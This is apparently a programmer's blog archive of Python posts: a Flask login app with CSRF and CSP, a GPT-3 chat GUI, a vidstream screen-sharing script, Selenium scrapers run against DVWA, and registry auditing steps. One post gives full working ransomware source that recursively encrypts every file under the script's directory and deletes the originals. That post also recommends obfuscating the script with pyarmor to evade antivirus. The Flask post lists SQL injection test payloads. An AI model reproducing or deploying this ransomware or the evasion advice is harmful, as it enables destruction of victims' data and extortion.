Tuesday, December 27, 2022

Python Flask Login App with MySql, CSRF and CSP Implementation

I have been busy lately preparing a demo program written in python using the Flask framework. There are a lot of tutorials on youtube and are easy to follow but are not complete or meaning not an app that may serve as a guide to really start a simple web application. By the way when I say a web application, it should have considered at least OWASP defense mechanism in the initial design and should have a session manager and it uses popularly used database. I am not saying that this CSRF and CSP implementation in this web application is without possible vulnerability, it is just a demo how it is possible to implement them.

The Web App in Details

The demo code I have prepared uses mysql(a popular database used by many web applications), CSRF(cross site request forgery), a simple csp(content security policy) and of course the popular Flask framework. It is also worth mentioning that I also implement a custom(I said custom because I did not used the standard way) session manager(but it is not really a session manager). And finally I used css to produce a nice and presentable login screen. I also used multi file system structure which means some of the variables were stored on a separate file. I could have stored commonly used functions on it but since it is a very simple web application, I thought that it is not necessary but in a larger project, storing functions on a separate file could preserve its readability and would be easier to maintain. I have posted a sample code  which can be found on my post Global Variables Handling across PyQt6 Windows.

Here is the screenshot:



You may use the following login credentials:

Username: admin

Password: Appl3Tr33.456

Please do note that the encryption/decryption of the password was not included in this post but I have a code snippet published on my post PyQt6 Desktop App Template series. You may study the code on the login.py and mainw.py where the user management system was implemented.

And here is the Dashboard that comes out after logging in successfully:

 


Testing the CSP 

To test the CSP part, I intently put some inline styles in my index.html file and here is the original screen:


With the CSP implemented, you'll notice that the part with inline styles was blocked or not displayed(check out the first screenshot).

Here is the part with inline styles:


And here is the error being captured by the browser(I am using chrome):


The CSRF Implementation

I have to dig deeper by researching and it seems that a similar problem or project has been discussed at stackoverflow and I also used the recommended solution and it worked for me, you may check the code snippet here: using flask_wtf.csrf without wtf_forms

Some SQL Injection Testing

I also perform some sql injection test  using these three payloads:

?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit

?id=a UNION SELECT 1,2;-- -&Submit=Submit

ID: a' UNION SELECT "text1","text2";-- -&Submit=Submit 

The procedure I used to test this can be found on my previous post(SQL Injection Prevention checklist and Testing). None of the 3 payloads manage to penetrate the web app.

I also tried to use the payload I mentioned on my previous post which can be downloaded here. And it seems that it has certain vulnerability as one of the payloads manage to display the location of the python script but when I tried to reproduce the error in BurpSuite, it seems that once the program encounter a possible attack, it will always return a "Bad Request" even when I use the valid login credentials, and it will only return to normal when I re-run the python program. My guess is, it is probably a built-in anti-hacking feature of flask?

The mysql table structure:



The code:

I have uploaded the entire project to my github page and can be freely downloaded there. Here is the direct link : Python Flask Login.



Monday, December 19, 2022

A Simple Ransomware in Python

A ransomware is a malicious software(malware) where in this case which I prepared is to encrypt a file and notify the file owner that his file was encrypted and it will only be decrypted after the file owner paid the her(the hacker) some amount of money or any other condition set by the hacker.

The ransomware I created will encrypt all files with an extension not included in a list of the specified file extensions inside the program within the directory where the python script is located. After encrypting all of the files, a screen will appear and just press the decrypt button on the screen to decrypt the files. The resulting encrypted files will have an extension of ".p4wn3d" and the decrypted files will have ''.ransomized".

See the screenshots below:

1. Directory where the ransomware is located:


2. This is the result after the script was executed:



3. The screen appeared after file encryption:



4. This is the result after the decrypt button was pressed:


Anti viruses could detect the python script if converted to a .exe file. To avoid anti virus detection, there a popular method to obfuscate the python script and that is to use pyarmor before compiling it to an executable file.

Pyarmor has tons of features, it can also obfuscate an executable file to include expiring licenses and be able to extend these licenses when needed. Pls do note that I do not promote pyarmor, just sharing what I know that could be useful for anyone beginning to use Python.

Here is the code:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import os
from pathlib import Path
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
import tkinter as tk

key = RSA.generate(2048)
privKey = key.export_key()
pubKey = key.publickey().export_key()


def checkFiles(bDir):

    for fil_e in os.scandir(bDir):
        if fil_e.is_file():
            yield fil_e
        else:
            yield from checkFiles(fil_e.path)

def crypter(dFile, publicKey):

 
    extension = dFile.suffix.lower()
    dFile = str(dFile)
    with open(dFile, 'rb') as f:
        f_cont = f.read()
    

    f_cont = bytes(f_cont)


    key = RSA.import_key(publicKey)
    lovekey = os.urandom(16)


    crypty = PKCS1_OAEP.new(key)
    cryptyKey = crypty.encrypt(lovekey)


    crypty = AES.new(lovekey, AES.MODE_EAX)
    cryptytext, tag = crypty.encrypt_and_digest(f_cont)


    fName= dFile.split(extension)[0]
    fileExtn = '.p4wn3d'
    cryptyFile = fName + fileExtn
    with open(cryptyFile, 'wb') as f:
        [ f.write(x) for x in (cryptyKey, crypty.nonce, tag, cryptytext) ]
    os.remove(dFile)

def decryptor(dFile, privateKey):



    extension = dFile.suffix.lower()
 
    key = RSA.import_key(privateKey)

 
    with open(dFile, 'rb') as f:

        encryptedSessionKey, nonce, tag, ciphertext = [ f.read(x) for x in (key.size_in_bytes(), 16, 16, -1) ]

 
    cipher = PKCS1_OAEP.new(key)
    sessionKey = cipher.decrypt(encryptedSessionKey)

 
    cipher = AES.new(sessionKey, AES.MODE_EAX, nonce)
    data = cipher.decrypt_and_verify(ciphertext, tag)


    dFile = str(dFile)
    fileName= dFile.split(extension)[0]
    fileExtension = '.ransomized' 
    decryptedFile = fileName + fileExtension
    with open(decryptedFile, 'wb') as f:
        f.write(data)
    


dir_y = './' 
ftype_excl = ['.py','.pem', '.exe'] 
for fil_e in checkFiles(dir_y): 
    to_encrypt = Path(fil_e)
    fileType = to_encrypt.suffix.lower()

    if fileType in ftype_excl:
        continue
    crypter(to_encrypt, pubKey)

x = 0
def countdown(count):

   global x
   if x == 0:
    hour, minute, second = count.split(':')
    hour = int(hour)
    minute = int(minute)
    second = int(second)

    label['text'] = '{}:{}:{}'.format(hour, minute, second)

    if second > 0 or minute > 0 or hour > 0:
  
        if second > 0:
            second -= 1
        elif minute > 0:
            minute -= 1
            second = 59
        elif hour > 0:
            hour -= 1
            minute = 59
            second = 59
        root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second))  
def decrypt():
   global x, dir_y, privKey

   inclExtn = ['.p4wn3d'] 

   for fil_e in checkFiles(dir_y): 
    to_decrypt = Path(fil_e)
    fType = to_decrypt.suffix.lower()
   
    if fType in inclExtn:
      decryptor(to_decrypt, privKey)
   label['text'] = 'Decrypted!'
   x = 1
root = tk.Tk()
root.title('P4WN3D Ransomware')
root.geometry('500x300')
root.resizable(False, False)
label1 = tk.Label(root, text='You are p4wn3d! \n This is a demo ransomware! \n For Educational Purposes ONLY! \n', font=('arial', 12,'bold'))
label1.pack()
label = tk.Label(root,font=('arial', 50,'bold'), fg='white', bg='blue')
label.pack()


B = tk.Button(root, text ="Decrypt", command = decrypt, height= 2, width=15)


B.pack()
B.place(x=50, y=200)

# call countdown first time    
countdown('01:00:00')
# root.after(0, countdown, 5)
root.mainloop()             

Saturday, December 10, 2022

OpenAI GPT-3 Chatter Bot

As a backgrounder, GPT-3 (Generative Pretrained Transformer 3) is a state-of-the-art language processing AI model developed by OpenAI. It is capable of generating human-like text and has a wide range of applications, including language translation, language modelling, and generating text for applications such as chatbots. It is one of the largest and most powerful language processing AI models to date, with 175 billion parameters. See more info here.

There is a lot of speculation that in the near future it will wipe out millions of jobs, one of them is programming. See the youtube video here for a simple demo. Please note that Tech with Tim(the youtuber) used ChatGPT which is an online demo program of GPT-3.

Ok, I am a programmer so I am creating a future competitor, here is a simple python chat program that allows interaction with is future job ripper. 

Sample output:



Source Code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import pyttsx3

from PyQt6.QtGui import *
from PyQt6.QtCore import *
from PyQt6.QtWidgets import *

import openai


class Window(QWidget):
    def __init__(self):
        super(Window, self).__init__()

 
        self.le = QTextEdit(self)
        
        self.le.setGeometry(5, 40, 890, 400)

        self.le1 = QTextEdit(self)
        
        self.le1.setGeometry(5, 5, 790, 30)
        
        self.btnStart = QPushButton("Ask", self)
        self.btnStart.setGeometry(800, 5, 90, 30)
  
        self.btnStart.clicked.connect(self.onClickedStart)
        #self.runnable = SpeechRunnable()
        #self.btnStop.clicked.connect(self.runnable.stop)
        self.setGeometry(25, 45, 900, 450)
        self.setWindowTitle('Open AI  GPT-3 Chatter Bot')
        
    def speaker(self, otext):
        engine = pyttsx3.init()
        engine.setProperty('rate', 150)
        engine.say(otext)
        engine.runAndWait()

    def onClickedStart(self):
        
        openai.api_key = "sk-XXXXXXX"
        response = openai.Completion.create(
        engine="davinci",
        prompt= self.le1.toPlainText() + "\nAI:",
        temperature=0.9,
        max_tokens=150,
        top_p=1,
        frequency_penalty=0.0,
        presence_penalty=0.6,
        stop=["\n", " Human:", " AI:"]
        )
        otext =response["choices"][0]["text"]
        self.le.setPlainText(self.le.toPlainText() + '\n' + self.le1.toPlainText() + '\n AI:' + otext)
        self.le.repaint()
        self.le1.setPlainText(text)
        self.speaker(otext)
        
        
text = ''
if __name__ == "__main__":
    import sys

    app = QApplication(sys.argv)
    w = Window()
    w.show()
    sys.exit(app.exec())

Wednesday, December 7, 2022

A Simple Screen Sharing Script

I remember when I am still a Developer, whenever I encounter some hardware or network related issues, I would call the Network Admin for assistance and often, they would not come over at my place to troubleshoot my pc but instead, they use root administration tools(RAT). So I researched a little bit about this and found that these tools are also frequently used by hackers, I was scared at first but since I was talking to the Company's Network Admin, probably he will not hack my PC.

While I was researching about RAT, I came across this simple python library by Neural9 called vidstream.  It is a small library that adds screen sharing capability to a python desktop application. If you are familiar with MsTeams or Google Zoom, then you could have used this screen sharing capability of these software. I also tried it myself and it worked(see sample screenshot below).


It was exactly just like in Neural9's youtube video tutorial. And since it so lightweight, it beats msfvenom's screen capture payload. By the way, some rootkit viruses use vidstream.

Here is the code:

Server:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from vidstream import StreamingServer
import threading

server = StreamingServer('192.168.254.184', 8181)
t = threading.Thread(target=server.start_server)
t.start()

# Other Code
while input("") != 'STOP':
    continue

# When You Are Done
server.stop_server()

Client:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from vidstream import ScreenShareClient
import threading


client3 = ScreenShareClient('192.168.254.184', 8181)
t = threading.Thread(target=client3.start_stream)
t.start()

# Other Code
while input("") != 'STOP':
    continue


client3.stop_stream()

Sunday, December 4, 2022

Web Scraping: Collect all Urls from a Webpage

This python program uses selenium to find all valid links(internal link only), and save it to a csv file. I used DVWA as target, should be logged in at first to display the index or home page. 

This program is useful when a project needs to scan for vulnerabilities of a given domain name. If there are thousands of links, then this will be a good automation tool instead of doing it manually.

The source code had comments describing the purpose of each lines to make it readable for beginners in Python programming. Please note that this is not a tutorial, it is meant to share my python programming journey.

the sample output:



Here is the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
##  Import webdriver from Selenium Wire instead of Selenium
from seleniumwire import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
import pandas as pd

##  Get the URL

driver = webdriver.Chrome()#make sure chromedriver.exe is on the folder as this python program
driver.get("http://localhost/dvwa/login.php")


# find username/email field and send the username itself to the input field
driver.find_element(by=By.NAME, value="username").send_keys('admin')
# find password input field and insert password as well
driver.find_element(by=By.NAME, value="password").send_keys('test1')
# click login button
driver.find_element(by=By.NAME, value="Login").click()
#find all links
elems = driver.find_elements(by=By.TAG_NAME, value='a')
data = []
for elem in elems:
    #get the url from the link
    x = elem.get_attribute("href")
    if x.find('http://localhost/dvwa') != -1:       
          data.append(elem.get_attribute("href"))
#close the browser          
driver.close()
#close the debug window
driver.quit()
data = list(dict.fromkeys(data)) #remove duplicates from list
df = pd.DataFrame(data)
pd.set_option('display.max_colwidth', None) #make sure that the panda print the whole column
pd.set_option('display.max_rows', None) #make sure all rows are printed
print('lastrow : ' + df.iloc[-1]) #print last row
print('')
print(df)#display the collected url
df.to_csv('url.csv')


Monitoring Changes In Registry Using Event Logs

 A lot of windows applications use registry as a persistent storage for its configurations. Any changes to this settings may cause the software to malfunction and is quite often a target of hackers because changing some value would cause antivirus to go blind or firewalls to stop functioning.

To enable Registry auditing, open an elevated command line (right-click cmd.exe and select "Run as administrator") and enter the command:

auditpol /set /subcategory:”registry” /success:enable /failure:enable

Beware that auditol is case sensitive.

As an example, I will be monitoring the changes to the registry keys I created on my previous post(Windows Registry as Persistent Memory for Python Apps)

Launch REGEDIT, and browse to \HKEY_CURRENT_USER\SOFTWARE\Ziplez\HWID (or any other key you’d like to monitor).

Right-click the key in the left-hand pane, and select Permissions > Advanced.

Click the Auditing tab and select Add.

Click "Select a principal", type "Everyone" in the "Enter the object name" box and click OK.

Choose whether you want auditing to apply to this keys, or subkeys too, then click OK to close all open dialogs.

Now, run the python code on my previous post(Windows Registry as Persistent Memory for Python Apps) to make some changes on the registry keys.

Then modify the python code I created on my previous post (A Simple Event Log Viewer in Python) to include event id 4657(A registry value was modified) and run it.


Friday, December 2, 2022

Web Scraping: Display the Content Security Policy of a Web Page

This simple program is an automation tool ideally for large website OWASP Testing projects. One of the main tasks in OWASP  fortification project is to check every URL created in the website(whole domain) if there is vulnerability in the implementation of Content Security Policy(CSP). If there are thousands of webpages, it would be too tedious to check it manually. Please note that this is just a portion of the project I am working on.

In my program I used DVWA as my test website. I used the selenium-wire library to enable me to intercept the CSP which is usually generated during url response.

The sample output:


Here is the code:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
##  Import webdriver from Selenium Wire instead of Selenium
from seleniumwire import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
##  Get the URL
driver = webdriver.Chrome()#make sure chromedriver.exe is on the same directory as this python program
driver.get("http://localhost/dvwa/login.php")


# find username/email field and send the username itself to the input field
driver.find_element(by=By.NAME, value="username").send_keys('admin')
# find password input field and insert password as well
driver.find_element(by=By.NAME, value="password").send_keys('test1')
# click login button
driver.find_element(by=By.NAME, value="Login").click()

#driver.find_element(By.LINK_TEXT,'DVWA Security').click()
WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.LINK_TEXT,'DVWA Security'))).click()
# set the security level to low
driver.find_element(by=By.NAME, value="security").send_keys('Low')
# click submit button
driver.find_element(by=By.NAME, value="seclev_submit").click()


#driver.find_element(By.LINK_TEXT,'CSP Bypass').click()
WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.LINK_TEXT,'CSP Bypass'))).click()



##  Print request headers(CSP)
for request in driver.requests:
  if request.url == 'http://localhost/dvwa/vulnerabilities/csp/' : 
    print(request.url) 
    print('Content-Security-Policy: ' + request.response.headers['Content-Security-Policy']) # <-- Response headers


driver.close()
driver.quit()